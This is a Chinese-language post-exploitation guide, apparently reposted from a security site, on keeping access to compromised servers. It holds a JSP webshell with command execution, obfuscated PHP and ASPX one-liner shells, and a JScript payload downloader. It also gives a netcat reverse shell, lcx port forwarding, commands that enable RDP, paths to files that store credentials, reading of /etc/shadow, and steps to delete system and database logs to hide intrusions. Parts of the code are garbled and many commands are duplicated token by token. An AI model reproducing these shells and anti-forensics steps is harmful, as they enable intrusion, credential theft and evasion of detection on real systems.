维持访问 WebShell

这个JSP的一句话比较恐怖

  
 2) {  
            c.setCatalog(x[2].trim());  
        }  
        return c;  
    }  
  
    void AA(StringBuffer sb) throws Exception {  
        File r[] = File.listRoots();  
        for (int i = 0; i < r.length; i++) {  
            sb.append(r[i].toString().substring(0, 2));  
        }  
    }  
  
    void BB(String s, StringBuffer sb) throws Exception {  
        File oF = new File(s), l[] = oF.listFiles();  
        String sT, sQ, sF = "";  
        java.util.Date dt;  
        SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");  
        for (int i = 0; i < l.length; i++) {  
            dt = new java.util.Date(l[i].lastModified());  
            sT = fm.format(dt);  
            sQ = l[i].canRead() ? "R" : "";  
            sQ += l[i].canWrite() ? " W" : "";  
            if (l[i].isDirectory()) {  
                sb.append(l[i].getName() + "/t" + sT + "t" + l[i].length()  
                        + "t" + sQ + "n");  
            } else {  
                sF += l[i].getName() + "t" + sT + "t" + l[i].length() + "t"  
                        + sQ + "n";  
            }  
        }  
        sb.append(sF);  
    }  
  
    void EE(String s) throws Exception {  
        File f = new File(s);  
        if (f.isDirectory()) {  
            File x[] = f.listFiles();  
            for (int k = 0; k " + "|").getBytes(), 0, 3);  
        while ((n = is.read(b, 0, 512)) != -1) {  
            os.write(b, 0, n);  
        }  
        os.write(("|" + "<-").getbytes(), 4="" 0,="" 3);  =""         os.close();  =""         is.close();  =""     }  =""   =""     void="" gg(string="" s,="" string="" d)="" throws="" exception="" {  =""         string="" h="0123456789ABCDEF" ;  =""         int="" n;  =""         file="" f="new" file(s);  =""         f.createnewfile();  =""         fileoutputstream="" os="new" fileoutputstream(f);  =""         for="" (int="" i="0;" <="" d.length();="" +="2)"             os  =""                     .write((h.indexof(d.charat(i))="" <  
      
      
" + "|");  
        if (Z.equals("A")) {  
            String s = new File(application.getRealPath(request  
                    .getRequestURI())).getParent();  
            sb.append(s + "t");  
            if (!s.substring(0, 1).equals("/")) {  
                AA(sb);  
            }  
        } else if (Z.equals("B")) {  
            BB(z1, sb);  
        } else if (Z.equals("C")) {  
            String l = "";  
            BufferedReader br = new BufferedReader(  
                    new InputStreamReader(new FileInputStream(new File(  
                            z1))));  
            while ((l = br.readLine()) != null) {  
                sb.append(l + "rn");  
            }  
            br.close();  
        } else if (Z.equals("D")) {  
            BufferedWriter bw = new BufferedWriter(  
                    new OutputStreamWriter(new FileOutputStream(  
                            new File(z1))));  
            bw.write(z2);  
            bw.close();  
            sb.append("1");  
        } else if (Z.equals("E")) {  
            EE(z1);  
            sb.append("1");  
        } else if (Z.equals("F")) {  
            FF(z1, response);  
        } else if (Z.equals("G")) {  
            GG(z1, z2);  
            sb.append("1");  
        } else if (Z.equals("H")) {  
            HH(z1, z2);  
            sb.append("1");  
        } else if (Z.equals("I")) {  
            II(z1, z2);  
            sb.append("1");  
        } else if (Z.equals("J")) {  
            JJ(z1);  
            sb.append("1");  
        } else if (Z.equals("K")) {  
            KK(z1, z2);  
            sb.append("1");  
        } else if (Z.equals("L")) {  
            LL(z1, z2);  
            sb.append("1");  
        } else if (Z.equals("M")) {  
            String[] c = { z1.substring(2), z1.substring(0, 2), z2 };  
            Process p = Runtime.getRuntime().exec(c);  
            MM(p.getInputStream(), sb);  
            MM(p.getErrorStream(), sb);  
        } else if (Z.equals("N")) {  
            NN(z1, sb);  
        } else if (Z.equals("O")) {  
            OO(z1, sb);  
        } else if (Z.equals("P")) {  
            PP(z1, sb);  
        } else if (Z.equals("Q")) {  
            QQ(cs, z1, z2, sb);  
        }  
    } catch (Exception e) {  
        sb.append("ERROR" + ":// " + e.toString());  
    }  
    sb.append("|" + "

遍历目录

<%       string="" path;  =""     ="" path="request.getParameter("path");  " java.io.file="" file="new" java.io.file(path);  ="" string="" []="" s;  ="" if(file.isdirectory()){  =""           s="file.list();  "           for(int="" i="0;i<s.length;i++)  "           ="" out.println(s[i]+"
");       }   %>

读取文件


执行命令

   
   
  
   
   
   
   

上传文件

<%  
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());  
%>

上传的本地页面

  

     

PHP

后缀名

php/php3/php4/php5/pht/phtml

一句话

普通一句话

  

容错一句话,@是容错符,这里注意一点,使用assert的时候最好使用@,不然会爆一个Warning


变量名做函数一句话

编码后的一句话,这是使用php变量可以做函数名这个特性,eval是不可变函数,不过assert可以

简单的形式


复杂的形式,大括号括起来代表变量的意思,里面的1-2-5做了运算其实是-6


这里就会有各种自由发挥了,大胆发挥想象力各种各样的shell就出现了

比如这种


另一种变形,不过这个菜刀连接的话需要在配置中写入a=assert


不使用<?的一句话

@eval($_POST[sb])

使用可执行函数的函数的一句话

php中有一些函数可以吧一个自定义函数当做回调函数比如array_map()

把函数名当做字符串参数传递的时候,自然就可以随意编码


文件包含伪装一句话

首先可以使用文件包含对一句话进行伪装

eval(file_get_contents('php://input'));

也利用了apche服务器的错误日志文件,当访问一个不存在的连接时,日志中会记录下这样的一句话。

[Thu Aug 08 08:47:43 2013] [error] [client 127.0.0.1] File does not exist: C:/wamp/www/test/12345

先在文件中插入

include($_GET['f']);

然后使用一句话当做地址访问页面,让浏览器在log中保存一句话,注意这里浏览器会自动将一句话进行编码再提交,这样的话时不能执行的

http://127.0.0.1/test/  

使用curl来达成访问

<?php  
    // 1. 初始化  
    $ch = curl_init();  
    // 2. 设置选项,包括URL  
    curl_setopt($ch, CURLOPT_URL, "http://127.0.0.1/test/");  
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);  
    curl_setopt($ch, CURLOPT_HEADER, 0);  
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.1) Gecko/20061204 Firefox/4");  
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,true);  
    // 3. 执行并获取HTML文档内容  
    $output = curl_exec($ch);  
    // 4. 释放curl句柄  
    curl_close($ch);  
?>

之后吧log的地址当做参数传入即可,这里log位置须自行查找。

http://127.0.0.1/test/123.php?f=C:wamplogsapache_error.log

这样会吧log文件全部包含并显示,比较明显,如果文件比较大会很慢。

而且如果第一次插入的PHP语句有错,那么后面再插入的便都不能执行了。

极度变态的一句话

有一些走极端的外国人,非要弄不包含字母和数字写shell极度自虐。

主要技术就是php中array被强转成string的时候会变成“array”,

$_[1 + ""] = "";  
$_ = $_."";  
var_dump($_);

字符之间可以进行位运算。

echo 'a'|'b';//c!

+””会被解析成0,猜测是php遇到加号会把结果转成int型,undefine value会被解析成0

echo +""; //0  
echo 1+"";//1  
echo ++$xxx //1 xxx undefine  
$_="abc";  
echo ++$_;  //abd

这样这位外国大神就得到了一个没有字符的shell

  
  

经过另一位大神的改进去掉了数字


上面的太复杂?这是概念版

$_[]++;     
$_[]=$_._;   
$_=$_[$_[+_]];   
$_=$_[+_];    //使用数组提取字符串   
$_++;        //偏移 1 得B,如果不用这句就是A   
$_("123");  //将$_ 作为函数使用

命令执行

php能执行命令的函数有不少,在 安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用 safe_mode_exec_dir指令

system()

可以直接输出命令执行结果


exec()

只返回命令的最后一行,可以重载两个函数分别是结果和执行状态。


passthru()

和system差不多的用法,直接输出


popen()

这个函数可以可以建立一个可以互交的命令,把命令当做一个文件句柄打开,往里面读写


点号执行命令大法

波浪线下面那个键括起来的字符串可以当命令执行。


ASPX

一句话

普通一句话

  

编码一句话,此方法可能不靠谱

  
  
  

上传文件

  
<% if="" request.files.count=""  0 Then Request.Files(0).SaveAs(Server.MapPath(Request("f")) ) %>

后门

下载者

JS脚本写的下载者,需要执行命令的权限

//cscript down.js  http://127.0.0.1/1.exe  c:/1.exe   
var objArgs = WScript.Arguments;   
var sGet=new ActiveXObject("ADODB.Stream");   
var xGet = false;   
try {   
    xGet = new XMLHttpRequest();   
}    
catch (trymicrosoft) {   
    try {   
        xGet = new ActiveXObject("Msxml2.XMLHTTP");   
    }    
    catch (othermicrosoft) {   
        try {   
          xGet = new ActiveXObject("Microsoft.XMLHTTP");   
        }    
        catch (failed) {   
          xGet = false;   
        }   
    }   
}   
  
xGet.Open ("GET",objArgs(0).toLowerCase(),0);   
xGet.Send();   
sGet.Mode=3;   
sGet.Type=1;   
sGet.Open();   
sGet.Write (xGet.ResponseBody);   
sGet.SaveToFile (objArgs(1).toLowerCase(),2);

VPN

SSH

突破内网

端口转发与反弹连接

这里还有各种环境下的方法,非常牛逼

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Windows LCX端口转发

windows下的端口转发比较简单,只需要lcx就可以了。

[+] [=====examples=====]  
[*] lcx.exe -listen 6666 7777  
[*] lcx.exe -l 6666 7777  
[*] lcx.exe -slave 221.223.41.1 6666 127.0.0.1 3389  
[*] lcx.exe -s 221.223.41.1 6666 127.0.0.1 3389

Linux反弹连接

Linux下有自带的NC,可是做了功能的阉割没有 -e的选项

不能直接使用

nc -l -vv -p 2222 -e /bin/bash

不过可以这样利用

[email protected]:~#mknod /tmp/backpipe p  
[email protected]:~#/bin/sh 0/tmp/backpipe

mknod只有在root权限下才可以使用,如果权限不够的话可以换成

mkfifo /tmp/backpipe

Linux端口映射

使用SSH应该可以,不过没有仔细研究

http
:
//improve.iteye.com/blog/1413884

http
:
//www.2cto.com/Article/201201/117834.html

收集信息与开启服务

Windows

开启服务

3389

Default

sc config termservice start= auto   
net start termservice

sc
config
termservice
start
=
auto

net
start
termservice

允许3389外连

Default

reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f

reg
add
“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server”
/
v
fDenyTSConnections
/
t
REG_DWORD
/
d
0x0
/
f

修改3389端

Default

reg add "HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-
Tcp" /v PortNumber /t REG_DWORD /d 80 /f

reg
add
“HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-

Tcp”
/
v
PortNumber
/
t
REG_DWORD
/
d
80
/
f

系统信息

查看系统版本信息

Default

ver

ver

查看系统详细信息,包括补丁版本

Default

systeminfo

systeminfo

查看账户登录情况

Default

quser

quser

敏感目录

Default

c:/boot.ini          //查看系统版本  
c:/windows/php.ini   //php配置信息  
c:/windows/my.ini    //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码  
c:/winnt/php.ini       
c:/winnt/my.ini  
c:mysqldatamysqluser.MYD  //存储了mysql.user表中的数据库连接密码  
c:Program FilesRhinoSoft.comServ-UServUDaemon.ini  //存储了虚拟主机网站路径和密码  
c:Program FilesServ-UServUDaemon.ini  
c:windowssystem32inetsrvMetaBase.xml  //IIS配置文件  
c:windowsrepairsam  //存储了WINDOWS系统初次安装的密码  
c:Program Files Serv-UServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此  
c:Program FilesRhinoSoft.comServUDaemon.exe  
C:Documents and SettingsAll UsersApplication DataSymantecpcAnywhere*.cif文件  
//存储了pcAnywhere的登陆密码  
c:Program FilesApache GroupApacheconf httpd.conf 或C:apacheconf httpd.conf //查看     WINDOWS系统apache文件  
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.  
c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机  
d:APACHEApache2confhttpd.conf  
C:Program Filesmysqlmy.ini  
c:windowssystem32inetsrvMetaBase.xml 查看IIS的虚拟主机配置  
C:mysqldatamysqluser.MYD 存在MYSQL系统中的用户密码

c
:
/
boot
.
ini

//查看系统版本

c
:
/
windows
/
php
.
ini

//php配置信息

c
:
/
windows
/
my
.
ini

//MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码

c
:
/
winnt
/
php
.
ini

c
:
/
winnt
/
my
.
ini

c
:

mysql

data

mysql

user
.
MYD

//存储了mysql.user表中的数据库连接密码

c
:

Program
Files

RhinoSoft
.
com

Serv

U

ServUDaemon
.
ini

//存储了虚拟主机网站路径和密码

c
:

Program
Files

Serv

U

ServUDaemon
.
ini

c
:

windows

system32

inetsrv

MetaBase
.
xml

//IIS配置文件

c
:

windows

repair

sam

//存储了WINDOWS系统初次安装的密码

c
:

Program
Files

Serv

U

ServUAdmin
.
exe

//6.0版本以前的serv-u管理员密码存储于此

c
:

Program
Files

RhinoSoft
.
com

ServUDaemon
.
exe

C
:

Documents
and
Settings

All
Users

Application
Data

Symantec

pcAnywhere

*
.
cif
文件

//存储了pcAnywhere的登陆密码

c
:

Program
Files

Apache
Group

Apache

conf

httpd
.
conf
C
:

apache

conf

httpd
.
conf
//查看 WINDOWS系统apache文件

c
:
/
Resin

3.0.14
/
conf
/
resin
.
conf

//查看jsp开发的网站 resin文件配置信息.

c
:
/
Resin
/
conf
/
resin
.
conf

/
usr
/
local
/
resin
/
conf
/
resin
.
conf
查看 linux
系统配置的 JSP
虚拟主机

d
:

APACHE

Apache2

conf

httpd
.
conf

C
:

Program
Files

mysql

my
.
ini

c
:

windows

system32

inetsrv

MetaBase
.
xml
查看 IIS
的虚拟主机配置

C
:

mysql

data

mysql

user
.
MYD
存在 MYSQL
系统中的用户密码

Linux

开启服务

判断SSH

Default

/etc/init.d/sshd status

/
etc
/
init
.
d
/
sshd
status

版本信息

查看内核版本

Default

cat /proc/version  
uname -r  
uname -a

cat
/
proc
/
version

uname

r

uname

a

查看系统版本

Default

lsb_release -a  
cat /etc/issue  
cat /etc/redhat-release  
rpm -q redhat-release   
file /bin/bash  
file /bin/cat

lsb_release

a

cat
/
etc
/
issue

cat
/
etc
/
redhat

release

rpm

q
redhat

release

file
/
bin
/
bash

file
/
bin
/
cat

管理员密码

获取管理员HasH

Default

cat /etc/shadow

cat
/
etc
/
shadow

痕迹清理

Windows

日志和警报

开始 – 程序 – 管理工具 – 计算机管理 – 系统工具-事件查看器

开始 – 程序 – 管理工具 – 计算机管理 – 系统工具-性能日志和警报

文件日志

清除这些日志时,要停掉相应的服务,要不然会出现文件在被另一个程序使用的情况。

比如

Default

net stop "task scheduler"

net
stop
“task scheduler”

不过守护安全日志和系统日志的服务是停不掉的,我们可以通过计算机管理-连接一台远程计算机来删除它们

Default

net stop eventlog

net
stop
eventlog

安全日志文件

Default

%systemroot%system32configSecEvent.EVT

%
systemroot
%

system32

config

SecEvent
.
EVT

系统日志文件

Default

%systemroot%system32configSysEvent.EVT

%
systemroot
%

system32

config

SysEvent
.
EVT

应用程序日志文件

Default

%systemroot%system32configAppEvent.EVT

%
systemroot
%

system32

config

AppEvent
.
EVT

Internet信息服务FTP日志默认位置,默认每天一个日志

Default

%systemroot%system32logfilesmsftpsvc1

%
systemroot
%

system32

logfiles

msftpsvc1

Internet信息服务WWW日志默认位置,默认每天一个日志

Default

%systemroot%system32logfilesw3svc1

%
systemroot
%

system32

logfiles

w3svc1

Scheduler服务日志默认位置

Default

%sys temroot%schedlgu.txt

%
sys
temroot
%

schedlgu
.
txt

注册表日志

日志存放的目录,可以手动修改,路径存放于注册表中。

Default

HKEY_LOCAL_MACHINEsystemCurrentControlSetServicesEventlog  
HKEY_LOCAL_MACHINESOFTWAREMicrosoftSchedulingAgent

HKEY_LOCAL_MACHINE

system

CurrentControlSet

Services

Eventlog

HKEY_LOCAL_MACHINE

SOFTWARE

Microsoft

SchedulingAgent

防火墙软件日志

这个见仁见智,逮住一通猛删就好。

MSSQL日志

这样可以查到数据库文件以及其备份文件存放的地方

Default

select * from master..sysdatabases;

select *
from
master
.
.
sysdatabases
;

每个数据库都有一个同名LDF文件,查看方法是这样,可查看到数据库具体操作的记录

Default

dbcc log (DATABASE,n)   --n = (0,1,2,3,4)

dbcc
log
(
DATABASE
,
n
)


n
=
(
0
,
1
,
2
,
3
,
4
)

1 – 更多信息plus flags, tags, row length

3 – 每种操作的全部信息

删除这个LDF方法,就是把这个数据库分离,然后删除LDF文件,再附加回来就好了。

有风险,慎用。

MySQL日志

Mysql的Log文件是以二进制方式存储的,不能直接打开。

删除的话很简单的执行一下,即可

Default

Mysql>reset master;

Mysql
>
reset
master
;

Apache日志

Apache的日志分为两种,访问日志和错误日志,分别叫做access.log error.log

存放位置不固定,路径定义在httpd.conf文件里,其中可以设置记录的等级

Default

ErrorLog ../logs/apache_error.log

ErrorLog
.
.
/
logs
/
apache_error
.
log

httpd.conf文件一般在,这两个地方

Default

/etctpd/conftpd.conf  
C:wampApache2conftpd.conf

/
etctpd
/
conftpd
.
conf

C
:

wamp

Apache2

conftpd
.
conf

Linux

history

Default

http://linux.chinaunix.net/techdoc/net/2007/05/26/958765.shtml

http
:
//linux.chinaunix.net/techdoc/net/2007/05/26/958765.shtml

其他

Default

http://www.cnblogs.com/JemBai/archive/2012/04/18/2454905.html

http
:
//www.cnblogs.com/JemBai/archive/2012/04/18/2454905.html

稿源:安全攻防指南 (源链) | 关于 | 阅读提示

本站遵循[CC BY-NC-SA 4.0]。如您有版权、意见投诉等问题,请通过eMail联系我们处理。
酷辣虫 » 后端存储 » 维持访问 WebShell

喜欢 (0)or分享给?

专业 x 专注 x 聚合 x 分享 CC BY-NC-SA 4.0

使用声明 | 英豪名录